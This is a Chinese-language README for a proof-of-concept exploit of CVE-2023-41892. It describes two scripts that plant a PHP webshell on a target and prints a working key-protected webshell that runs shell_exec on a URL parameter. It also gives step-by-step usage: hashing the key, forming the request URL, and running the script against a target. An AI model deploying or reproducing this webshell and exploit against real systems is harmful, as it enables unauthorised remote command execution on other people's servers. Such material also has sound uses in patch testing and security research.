CVE-2023-41892_poc

为个人使用定制此工具

poc_noauth.py

• 基础 PHP 一句话 webshell
• 通过 ?cmd=<命令> 执行 OS 命令

poc_auth.py

• 添加了简单密钥认证的 webshell（SHA-256 哈希比对方式）
• 只有输入正确的密钥才能执行命令
• 需要修改代码：
  • 将 drop_payload 函数内部的 webshell 变量中的 YOUR_SECRET_KEY 部分替换为所需密钥的 SHA-256 哈希值
• 使用方法：
  1. 将 webshell 中的 YOUR_SECRET_KEY 替换为明文密钥的 SHA-256 哈希值
  2. 请求时传递明文密钥

     {target}/shell.php?k=<明文密钥>&c=<命令>
     

• 示例：
  1. 设置：明文密钥 = test1234
  2. 通过 cyberchef 等进行 SHA256 哈希：937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
     • echo -n test1234 | sha256sum
     • cyberchef 等
  3. 修改代码：

     webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
     

使用方法

python poc_noauth.py {目标}